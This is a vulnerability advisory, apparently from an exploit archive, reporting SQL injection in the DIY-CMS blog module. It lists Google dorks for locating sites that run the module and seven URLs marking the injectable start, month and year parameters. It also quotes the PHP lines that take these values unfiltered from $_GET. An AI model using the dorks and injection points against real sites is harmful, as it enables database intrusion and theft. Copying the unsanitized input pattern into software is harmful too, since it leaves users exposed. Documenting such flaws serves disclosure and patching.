DIY-CMS Blog Mod SQL Injection

`# Exploit Title: DIY-CMS blog mod SQL Injection  
# Author: snup  
# Contact: [email protected]  
# Site: http://e-o-u.org  
  
SQL Injection:  
  
DORK:  
inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"  
inurl:"mod.php?mod=blog"  
  
BUG:  
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=tags&tag=features&start=[sqli]  
http://127.0.0.1/diy-cms/mod.php?mod=blog&start=[sqli]  
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=[sqli]  
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=[sqli]  
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=list&catid=4&start=[sqli]  
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=2&start=[sqli]  
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=viewpost&blogid=26&start=[sqli]  
  
Why?:  
  
The variables $start, $year, $month are not filtered  
  
In file: /modules/blog/tags.php , list.php , index.php ,  
main_index.php , viewpost.php  
  
$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];  
  
In file: /modules/blog/archive.php  
  
$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];  
$month =(!isset($_GET['month'])) ?  
error_msg($lang['ARCHIVE_NO_MONTH_SPECIFIED']) : $_GET['month'];  
$year =(!isset($_GET['year'])) ?  
error_msg($lang['ARCHIVE_NO_YEAR_SPECIFIED']) : $_GET['year'];  
  
In file: /modules/blog/control/approve_comments.php ,  
approve_posts.php , viewcat.php  
  
$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];  
  
###########  
# Gr33tz: #  
#####################################################  
# agilob, cOnd, czoik, drummachina, gocys, prick #  
# im2ee, MadCow, n1k0n3r, R3w, rtgn, SiD, vizzdoom #  
# irc.freenode.net #pakamera , http://e-o-u.org #  
#####################################################  
  
  
`